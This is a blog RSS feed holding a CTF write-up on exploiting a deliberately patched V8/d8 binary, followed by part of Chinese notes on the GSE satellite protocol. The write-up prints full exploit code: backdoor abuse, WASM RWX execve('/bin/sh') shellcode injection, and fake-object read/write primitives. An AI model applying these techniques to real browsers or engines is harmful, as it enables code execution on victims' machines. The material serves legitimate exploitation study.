<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Minhal&apos;s Blog</title><description>不驰于空想，不骛于虚声 - Hardware Security Research</description><link>https://minhal.me</link><item><title>A starter V8 challenge</title><link>https://minhal.me/blog/v8challenge</link><guid isPermaLink="true">https://minhal.me/blog/v8challenge</guid><description>A starter V8 challenge</description><pubDate>Sat, 18 Mar 2023 08:01:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;V8!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Challenge description&lt;/h2&gt;
&lt;p&gt;This writeup documents a beginner-friendly V8 exploitation challenge delivered as a d8/V8 binary inside a Docker + QEMU environment. The provided target is a patched V8/d8 that exposes several helper builtins (&lt;code&gt;addrof&lt;/code&gt;, &lt;code&gt;backdoor&lt;/code&gt;, &lt;code&gt;fakeobj&lt;/code&gt;, &lt;code&gt;read64&lt;/code&gt;, &lt;code&gt;write64&lt;/code&gt;). The goal is to use those primitives — or to construct your own primitives from them — to achieve code execution and spawn a shell. The challenge is aimed at newcomers to V8 exploitation: it includes a direct (backdoor) path to a shell and more advanced paths (WASM RWX, fake-object read/write) for deeper learning.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Preface&lt;/h2&gt;
&lt;p&gt;I was fortunate to receive this challenge. Although it is not long, working through it taught me a great deal. The challenge ships with guidance files that make it straightforward to get started with V8 exploitation; those materials helped me a lot. During the process I encountered many error messages and solved problem after problem — the failures themselves turned out to be great learning opportunities.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Environment setup&lt;/h2&gt;
&lt;p&gt;After unpacking the challenge I realised it revolves around V8. To run QEMU inside Docker I needed Docker and QEMU available locally. The installation was not difficult — a few web searches provided the necessary steps. After installing the prerequisites I followed the repository README to bring up the environment.&lt;/p&gt;
&lt;h3&gt;Debugging environment configuration&lt;/h3&gt;
&lt;p&gt;I configured the debugging environment as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source path/gdbinit_v8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With that in place V8 debugging works with &lt;code&gt;pwndbg&lt;/code&gt; and V8-specific helpers. I used commands such as &lt;code&gt;%DebugPrint&lt;/code&gt; and &lt;code&gt;%BreakPoint&lt;/code&gt; in code inspection. When running &lt;code&gt;d8&lt;/code&gt; for debugging I passed &lt;code&gt;--allow-natives-syntax&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;h3&gt;Research&lt;/h3&gt;
&lt;p&gt;This was my first V8 challenge, so initially I felt a bit lost. Fortunately, there is abundant public material on V8 exploitation; I found a 2019 CTF challenge with strong similarities which provided useful ideas and references.&lt;/p&gt;
&lt;h3&gt;Analyzing the patch&lt;/h3&gt;
&lt;p&gt;Per the provided PDF guidance and my searches, the first step is to inspect the patch. The patch adds several helper builtins — &lt;code&gt;addrof&lt;/code&gt;, &lt;code&gt;backdoor&lt;/code&gt;, &lt;code&gt;fakeobj&lt;/code&gt;, &lt;code&gt;write64&lt;/code&gt;, &lt;code&gt;read64&lt;/code&gt; — which immediately suggested straightforward primitives. The Helper PDF also mentions using the &lt;code&gt;backdoor&lt;/code&gt; function, so I analysed these new builtins one by one.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;+BUILTIN(GlobalBackdoor) {
+    HandleScope scope(isolate);
+    DCHECK_EQ(args.length(), 2);
+
+    Handle&amp;#x3C;Object&gt; arg = args.atOrUndefined(isolate, 1);
+
+    if (!arg-&gt;IsHeapObject()) {
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+
+    // Grab the object as a heap object.
+    HeapObject heap_obj = arg-&gt;GetHeapObject();
+
+    // Get the map of this object relative to the base of the isolate.
+    uint64_t map = heap_obj.map_word().ptr() - (uint64_t)isolate;
+
+    // check if the map is at 0x13371337 relative to the isolate.
+    if (map == 0x13371337) {
+      const char * bash = {&quot;/bin/bash&quot;};
+      const char * arguments[] = {bash, nullptr};
+      execv(bash, (char* const*)arguments);
+    }
+
+    double bits = *reinterpret_cast&amp;#x3C;double*&gt;(&amp;#x26;map);
+    return *isolate-&gt;factory()-&gt;NewNumber(bits);
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;GlobalBackdoor&lt;/code&gt; accepts an object, extracts its &lt;code&gt;map&lt;/code&gt; field relative to the isolate base, then compares it to &lt;code&gt;0x13371337&lt;/code&gt;. If equal, it calls &lt;code&gt;execv(&quot;/bin/bash&quot;, ...)&lt;/code&gt; — giving arbitrary code execution. In all cases it returns the map value as a double.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;+BUILTIN(GlobalAddrof) {
+    HandleScope scope(isolate);
+    DCHECK_EQ(args.length(), 2);
+
+    Handle&amp;#x3C;Object&gt; arg = args.atOrUndefined(isolate, 1);
+    if (arg-&gt;IsSmi()) {
+      return ReadOnlyRoots(isolate).undefined_value();
+    }
+
+    double bits = *reinterpret_cast&amp;#x3C;double*&gt;(arg.address());
+    return *isolate-&gt;factory()-&gt;NewNumber(bits);
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;GlobalAddrof&lt;/code&gt; returns the address (as a double) of the argument object (unless it is a Smi).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;+BUILTIN(GlobalFakeobj) {
+    HandleScope scope(isolate);
+    DCHECK_EQ(args.length(), 2);
+
+    Handle&amp;#x3C;Object&gt; arg = args.at(1);
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, arg, Object::ToNumber(isolate, arg));
+
+    double bits = arg-&gt;Number();
+
+    return *reinterpret_cast&amp;#x3C;Object*&gt;(&amp;#x26;bits);
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;GlobalFakeobj&lt;/code&gt; interprets a numeric value as a pointer and returns an object reference built from that raw bits value — i.e., it creates a fake object from a given address representation.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;+BUILTIN(GlobalWrite64) {
+    HandleScope scope(isolate);
+
+    DCHECK_EQ(args.length(), 3);
+    Handle&amp;#x3C;Object&gt; location = args.at(1);
+    Handle&amp;#x3C;Object&gt; value = args.at(2);
+
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, location, Object::ToNumber(isolate, location));
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value, Object::ToNumber(isolate, value));
+    // Grab the address
+    double location_bits = location-&gt;Number();
+    uint64_t location_value = *reinterpret_cast&amp;#x3C;uint64_t*&gt;(&amp;#x26;location_bits);
+
+    // Grab the value
+    double value_bits = value-&gt;Number();
+    uint64_t value_raw = *reinterpret_cast&amp;#x3C;uint64_t*&gt;(&amp;#x26;value_bits);
+
+    // Write the value
+    *reinterpret_cast&amp;#x3C;uint64_t*&gt;(location_value) = value_raw;
+
+    // Return what was written
+    return *isolate-&gt;factory()-&gt;NewNumber(value_raw);
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;+BUILTIN(GlobalRead64) {
+    HandleScope scope(isolate);
+
+    DCHECK_EQ(args.length(), 2);
+    Handle&amp;#x3C;Object&gt; location = args.at(1);
+
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, location, Object::ToNumber(isolate, location));
+
+    // Grab the address
+    double location_bits = location-&gt;Number();
+    uint64_t location_value = *reinterpret_cast&amp;#x3C;uint64_t*&gt;(&amp;#x26;location_bits);
+
+    double value = *reinterpret_cast&amp;#x3C;double*&gt;(location_value);
+
+    return *isolate-&gt;factory()-&gt;NewNumber(value);
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;GlobalWrite64&lt;/code&gt; / &lt;code&gt;GlobalRead64&lt;/code&gt; provide arbitrary 8-byte memory write/read primitives when given a numeric pointer encoded as a double.&lt;/p&gt;
&lt;h3&gt;Exploiting via &lt;code&gt;backdoor()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;skeleton.js&lt;/code&gt; already implements much of the harness, so I only needed to implement a small portion. To trigger &lt;code&gt;backdoor&lt;/code&gt;, I had to create an object and then modify its &lt;code&gt;map&lt;/code&gt; pointer to &lt;code&gt;0x13371337&lt;/code&gt; (or the compressed representation appropriate for that V8 build).&lt;/p&gt;
&lt;p&gt;For a sample object:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let obj = {x: &apos;ls&apos;};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I determined the layout of the object and where its &lt;code&gt;map&lt;/code&gt; pointer lives by using the debugger and observing memory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F16786049124860.DXacgsz5.jpg&amp;#x26;w=1012&amp;#x26;h=256&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;map&lt;/code&gt; field is stored at the object address; when reading a pointer from memory I needed to subtract &lt;code&gt;1&lt;/code&gt; to untag it. This is because V8 uses tagged pointers — the PDF guidance covers pointer tagging and compression.&lt;/p&gt;
&lt;p&gt;So the plan is straightforward:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use the patched &lt;code&gt;addrof&lt;/code&gt; to obtain the address of &lt;code&gt;obj&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Untag / convert the value to a raw address.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;write64&lt;/code&gt; to overwrite the &lt;code&gt;map&lt;/code&gt; field with the target map value (compressed or uncompressed as appropriate).&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;backdoor(obj)&lt;/code&gt; to trigger the &lt;code&gt;execv()&lt;/code&gt; condition.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Depending on pointer compression in the build, the write can be performed in either compressed or uncompressed form.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Uncompressed example:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let addr = float2num(addrof(obj)) - 1n;
let b = my_write64(addr, 0x13371337n);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Compressed example (where pointers are compressed relative to isolate):&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let addr = float2num(addrof(obj)) - 1n;
print(&quot;0x&quot; + addr.toString(16));
let a = my_read64(addr);
let isolate = float2num(addrof(obj)) &amp;#x26; ~(0xFFFFFFFFn);
let ptr = isolate + 0x13371337n;
print(&apos;---------ptr------&apos; + ptr.toString(16));
let b = my_write64(addr, 0x13371337n);
print(b);
print(&apos;-----------------&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I implemented &lt;code&gt;my_write64&lt;/code&gt; as a thin wrapper around the patched &lt;code&gt;write64&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function my_write64(addr, value) {
    return float2num(write64(num2float(addr), num2float(value)));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, call the backdoor:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let ret = backdoor(obj);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The run produced a shell with root privileges:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F16786058878908.Clka1Qq3.jpg&amp;#x26;w=1064&amp;#x26;h=768&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;A complete exploit (backdoor approach) follows.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// Create a new DataView which we will use to convert between types.
let dataview = new DataView(new ArrayBuffer(8));

// Convert float64 -&gt; BigInt
function float2num(flt) {
    dataview.setFloat64(0, flt);
    return dataview.getBigUint64(0);
}

// Convert BigInt -&gt; float64
function num2float(num) {
    dataview.setBigUint64(0, num);
    return dataview.getFloat64(0);
}

// Return an object&apos;s address (BigInt)
function my_addrof(obj) {
    return float2num(addrof(obj));
}

// Read 8 bytes from an address (BigInt)
function my_read64(addr) {
    return float2num(read64(num2float(addr)));
}

// Write 8 bytes to an address (BigInt)
function my_write64(addr, value) {
    return float2num(write64(num2float(addr), num2float(value)));
}

function exploit() {
    let obj = {x: &apos;ls&apos;};
    %DebugPrint(obj);
    let addr = float2num(addrof(obj)) - 1n;
    print(&quot;0x&quot; + addr.toString(16));
    let a = my_read64(addr);
    let b = my_write64(addr, 0x13371337n);
    print(b);
    print(&apos;-----------------&apos;);
    let ret = backdoor(obj);
    %SystemBreak();
}

exploit();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Alternative: not using &lt;code&gt;backdoor()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The patch provides &lt;code&gt;read64&lt;/code&gt; and &lt;code&gt;write64&lt;/code&gt;, so one can exploit the engine without calling &lt;code&gt;backdoor&lt;/code&gt;. Two common routes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Leak &lt;code&gt;obj&lt;/code&gt; address and locate memory regions / d8 loading addresses to derive further leaks (for example, a table pointer to leak libc or other modules).&lt;/li&gt;
&lt;li&gt;Use a WebAssembly (WASM) RWX region to place shellcode and execute it by hijacking a WASM function’s code region.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I chose the second approach as it is convenient when an RWX JIT page exists.&lt;/p&gt;
&lt;p&gt;The strategy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Load a small WASM module.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;addrof&lt;/code&gt; on the WASM function to locate &lt;code&gt;shared_info&lt;/code&gt;, &lt;code&gt;WasmExportedFunctionData&lt;/code&gt;, and the &lt;code&gt;instance&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;From the instance structure, resolve the RWX code page and write shellcode into it (or redirect an ArrayBuffer backing store to that RWX page), then call the WASM function to execute the shellcode.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Example WASM stub and workflow:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I traced the object relationships:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Function -&gt; shared_info -&gt; WasmExportedFunctionData -&gt; instance&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;%DebugPrint&lt;/code&gt; / &lt;code&gt;telescope&lt;/code&gt; and manual pointer arithmetic I extracted offsets for that particular V8 build (note: offsets vary between builds). For my target, I found the offsets were at &lt;code&gt;+0xc&lt;/code&gt;, &lt;code&gt;+0x4&lt;/code&gt;, &lt;code&gt;+0x8&lt;/code&gt;, and the RWX pointer at &lt;code&gt;+0x68&lt;/code&gt; relative to the located structures.&lt;/p&gt;
&lt;p&gt;To discover the RWX page I used &lt;code&gt;vmmap&lt;/code&gt; and compared the memory mappings before and after the WASM function compilation. A new RWX region of &lt;code&gt;0x1000&lt;/code&gt; appeared at the start address &lt;code&gt;0x71b9b403000&lt;/code&gt; (addresses differ by environment). By zeroing the first portion of the page and hitting a breakpoint around WASM function compilation, I confirmed the start address of the generated code page.&lt;/p&gt;
&lt;p&gt;I implemented a small helper &lt;code&gt;addr(a, b)&lt;/code&gt; that reconstructs compressed pointers using a base address:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function addr(a, b) {
    return float2num(addrof(a)) &amp;#x26; ~(0xFFFFFFFFn) | (b &amp;#x26; 0xFFFFFFFn);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After resolving &lt;code&gt;instanceAddr&lt;/code&gt; and reading &lt;code&gt;memoryRWX = my_read64(instanceAddr + 0x68n - 0x1n)&lt;/code&gt;, I obtained the RWX page address.&lt;/p&gt;
&lt;p&gt;To write shellcode I redirected an &lt;code&gt;ArrayBuffer&lt;/code&gt; backing store to the RWX page:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var data_buf = new ArrayBuffer(56);
%DebugPrint(data_buf);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = my_addrof(data_buf) + 0x14n - 0x1n;
let abc = my_read64(buf_backing_store_addr);

// sys_execve(&apos;/bin/sh&apos;) shellcode
var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];

my_write64(buf_backing_store_addr, memoryRWX);
data_view.setFloat64(0, num2float(shellcode[0]), true);
data_view.setFloat64(8, num2float(shellcode[1]), true);
data_view.setFloat64(16, num2float(shellcode[2]), true);
funcAsm(); // execute shellcode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This produced a shell as shown:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F16786227025719.nRNYYKrL.jpg&amp;#x26;w=1008&amp;#x26;h=646&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Constructing generic read/write primitives (fake object technique)&lt;/h3&gt;
&lt;p&gt;Another classical approach is constructing arbitrary &lt;code&gt;read&lt;/code&gt;/&lt;code&gt;write&lt;/code&gt; primitives via a fake object. The layout I used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  elements      ____________________
+--------------&gt;|        map       |    
|               --------------------
|               |      length      |
|               --------------------    fake    ______________________
|               |    elements[0]   |  - - - - &gt; |       fake_map      |
|               --------------------            -----------------------
|               |    elements[1]   |  - - - - &gt; |    fake_elements    |---+
|               --------------------            -----------------------   |
|                                                                         |
|                                                                         |
|                                                                         |
|                                               -----------------------   |
|   array ----&gt; ____________________            |   target-0x8  |&amp;#x3C;--+ // map
|               |        map       |            | target address      |     //length
|               --------------------            |                      |     //elements[0]
|               |properties pointer|                            
|               --------------------     
+---------------|elements pointer  | 
                --------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use &lt;code&gt;backdoor&lt;/code&gt; to get the map of an object (&lt;code&gt;my_backdoor&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Build a &lt;code&gt;double_array&lt;/code&gt; whose second element will be used to hold a forged &lt;code&gt;elements&lt;/code&gt; pointer that points into arbitrary memory.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;fakeobj&lt;/code&gt; to coerce that crafted pointer into an object reference and index it to perform &lt;code&gt;read&lt;/code&gt;/&lt;code&gt;write&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Wrappers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function my_backdoor(value) {
    return float2num(backdoor(value));
}
function my_fakeobj(value) {
    return fakeobj(num2float(value));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exploit snippet:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var obj = {&apos;a&apos;: 123};
var obj_map = my_backdoor(obj);
var obj_addr = addrof(obj);
var obj_array = [obj];
var obj_array_map = my_backdoor(obj_array);
var obj_array_addr = my_addrof(obj_array);
var array = [1.2];
var array_map = my_backdoor(array);
var array_addr = my_addrof(array);
console.log(&quot;Obj:&quot;, hex(obj_addr), hex(obj_map));
console.log(&quot;Array:&quot;, hex(array_addr), hex(array_map));

var double_array = [
    num2float(array_map),
    num2float(0x4141414141414141n)
];
var double_array_addr = my_addrof(double_array);
var double_array_map = my_backdoor(double_array);
console.log(&quot;Double_Array:&quot;, hex(double_array_addr), hex(double_array_map));

var fakeObj_addr = double_array_addr + 0x24n;
var fakeObj = my_fakeobj(fakeObj_addr);
console.log(&quot;fakeObj:&quot;, hex(fakeObj_addr));

function myread(addr) {
    addr = addr - 8n + 1n;
    addr = addr &amp;#x26; 0xffffffffn;
    addr = addr | (2n &amp;#x3C;&amp;#x3C; 32n);
    double_array[1] = num2float(addr);
    return fakeObj[0];
}
function mywrite(addr, value) {
    addr = addr - 8n + 1n;
    addr = addr &amp;#x26; 0xffffffffn;
    addr = addr | (2n &amp;#x3C;&amp;#x3C; 32n);
    double_array[1] = num2float(addr);
    fakeObj[0] = num2float(value);
}
%SystemBreak();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When I ran this on the challenge binary an error occurred:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F16786269842113.Dit5vsly.jpg&amp;#x26;w=1006&amp;#x26;h=494&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I investigated with the debugger and eventually examined the V8 source for checks. The error appears to be a validation triggered in debug mode: builds compiled with debug checks reject an invalid &lt;code&gt;elements&lt;/code&gt; pointer assignment. I found references online that in debug builds V8 performs stricter runtime checks; my exploit fails in the supplied debug build because of those checks.&lt;/p&gt;
&lt;p&gt;I attempted to compile a non-debug (release) &lt;code&gt;d8&lt;/code&gt; locally to confirm whether the exploit would work in release mode. However, building V8 requires fetching dependencies from Google-hosted repositories, and from China those fetches often fail. I tried to configure a proxy but it did not succeed. I then asked a remote friend to attempt the build, but the compilation still failed — the Chromium/V8 build infrastructure has additional constraints (see linked discussion). Because of time constraints I did not complete the non-debug &lt;code&gt;d8&lt;/code&gt; build, so the hypothesis remains unconfirmed.&lt;/p&gt;
&lt;p&gt;If debug is truly the limiting factor, the same technique would likely succeed on a normal release build without those runtime checks. It is also possible that a different vulnerability or nuance is required; I did not fully rule out other causes.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;This was an excellent challenge. The provided PDF and environment made the learning path smooth. The challenge designers included the simplest exploitation path (directly using a backdoor), then left room for deeper exploitation approaches: constructing shellcode via WASM RWX pages, or building generic read/write primitives without the provided patch functions.&lt;/p&gt;
&lt;p&gt;Although I had limited time — I work during the day and attend evening English classes — I found myself thinking about the challenge during lunch and losing track of time while debugging. I learned the practical workflow of V8 exploitation: object layout, tagged pointers, compressed pointers, and V8 debugging techniques.&lt;/p&gt;
&lt;p&gt;Overall, the experience was rewarding and educational. I am grateful for the opportunity.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Extra (build issues &amp;#x26; notes)&lt;/h2&gt;
&lt;p&gt;I suspect the &lt;code&gt;elements&lt;/code&gt; assignment check is enforced by debug mode. All provided &lt;code&gt;d8&lt;/code&gt; binaries in the Docker images are debug builds, so I attempted to build a non-debug &lt;code&gt;d8&lt;/code&gt; myself to validate the hypothesis.&lt;/p&gt;
&lt;p&gt;The build failed due to dependency fetch issues (Chromium/V8 uses Google-hosted infra). I attempted various proxy solutions and remote compilation via a friend&apos;s machine, but the build still failed. See the Chromium dev group discussion for context.&lt;/p&gt;
&lt;p&gt;Given time limitations I could not finish a release build, so I could not definitively confirm whether the exploit would work on a release &lt;code&gt;d8&lt;/code&gt;. It remains a plausible explanation that debug checks prevented the fake &lt;code&gt;elements&lt;/code&gt; approach from working in the supplied environment.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://news.sangniao.com/p/2192476419&quot;&gt;https://news.sangniao.com/p/2192476419&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wasdk.github.io/WasmFiddle/&quot;&gt;https://wasdk.github.io/WasmFiddle/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freebuf.com/vuls/203721.html&quot;&gt;https://www.freebuf.com/vuls/203721.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.sunxiaokong.xyz/2020-01-13/lzx-starctf-oob/#%E5%88%A9%E7%94%A8WASM%E6%89%A7%E8%A1%8Cshellcode&quot;&gt;https://www.sunxiaokong.xyz/2020-01-13/lzx-starctf-oob/#%E5%88%A9%E7%94%A8WASM%E6%89%A7%E8%A1%8Cshellcode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://paper.seebug.org/1821/&quot;&gt;https://paper.seebug.org/1821/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chromium.googlesource.com/v8/v8/+refs&quot;&gt;https://chromium.googlesource.com/v8/v8/+refs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/#the-bug&quot;&gt;https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/#the-bug&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jaybosamiya.com/blog/2019/01/02/krautflare/#a-new-hope&quot;&gt;https://www.jaybosamiya.com/blog/2019/01/02/krautflare/#a-new-hope&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>GSE协议封装解析</title><link>https://minhal.me/blog/gse</link><guid isPermaLink="true">https://minhal.me/blog/gse</guid><description>GSE 卫星通信协议解析</description><pubDate>Fri, 19 Nov 2021 11:11:27 GMT</pubDate><content:encoded>&lt;p&gt;GSE协议封装的学习笔记。&lt;/p&gt;
&lt;h2&gt;GSE介绍&lt;/h2&gt;
&lt;p&gt;卫星通信近几年逐渐火热，目前的低轨卫星通信大多数采用欧盟ETSI的数字卫星电视广播标准（DVB-S/DVB-S2 /S2X）并做改进。而通常它们用通用流封装，因此，在卫星安全的研究中，对一些数据的解析需要对GSE封装协议有所了解，所以近期对官方文档阅读并做出一些笔记。&lt;/p&gt;
&lt;p&gt;通用流封装（GSE）协议可以在物理层对IP和其他网络层数据封装，在通用流上提供网络层数据包封装和分片功能。GSE 不仅可以灵活的分片和封装，而且能使用智能调度器来优化系统性能。不仅如此还：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支持多协议封装(IPv4、IPv6、MPEG、ATM、以太网、802.1pQ VLANs 等)。&lt;/li&gt;
&lt;li&gt;对网络层功能的透明性。&lt;/li&gt;
&lt;li&gt;支持多种寻址模式。&lt;/li&gt;
&lt;li&gt;可扩展性&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;封装方法&lt;/h2&gt;
&lt;p&gt;PDU（协议数据单元）可以封装在一个GSE包中，也可以分成片段封装成几个GSE包。而GSE包的长度是动态可变的。GSE包可在不同基带桢中发送，基带桢长度是可变的。GSE没有独自的完整性校验机制。通常一段数据碎片化变成几个PDU片段，在最后一段加CRC-32。如图是DVB协议的GSE封装：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://minhal.me/_image?href=%2F_astro%2F20211119115001.-7o6DNNt.png&amp;#x26;w=1500&amp;#x26;h=711&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;GSE包的头由固定长度（2bytes）和可变长度组成（0-11bytes）。固定长度主要有S 、E 、LT 、GSE Length等字段，可变部分主要是Fragment ID、Total Length、Protocol Type和Label等字段。如下图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://photo-1302246897.cos.ap-singapore.myqcloud.com/blog/20211119115136.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;每个GS流可存放最多256个PDU碎片，每个GSE数据包的头有一个开始指示位（S）和结束指示位（E），开始指示位为“1”表示PDU开始，结束指示位为“1”表示PDU结束。如果都为1表示是一个完整的PDU。&lt;/p&gt;
&lt;p&gt;而接下来有两位标签类型指示（主要用于寻址）。标签存在时，接收者可以删去标签不匹配的数据包。当为广播包时，接收者都应该处理该数据包。标签重复时，只有上一个GSE包的地址与现在匹配，接收者才去处理。所以标签重复主要用于同一个基带桢中。&lt;/p&gt;
&lt;p&gt;| 变量 | 说明                   |
| ---- | ---------------------- |
| 00   | 存在一个6字节标签      |
| 01   | 存在一个3字节标签      |
| 10   | 广播，不存在标签字段。 |
| 11   | 标签重复试用           |&lt;/p&gt;
&lt;p&gt;接下来12位表示GSE包长度，最大2^12（4kb）。注：End包最后包含CRC-32。&lt;/p&gt;
&lt;p&gt;Fragment ID只会在中间包出现，同一个PDU的GSE包有相同的ID。所以只有一个PDU传输完成，才可以有另一个PDU使用这个ID。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;含有同一PDU数据的GSE包必须用相同Frag ID&lt;/li&gt;
&lt;li&gt;第一个 GSE 数据包的 S 位应等于 &quot;1&quot;，E 位等于 &quot;0&quot;。&lt;/li&gt;
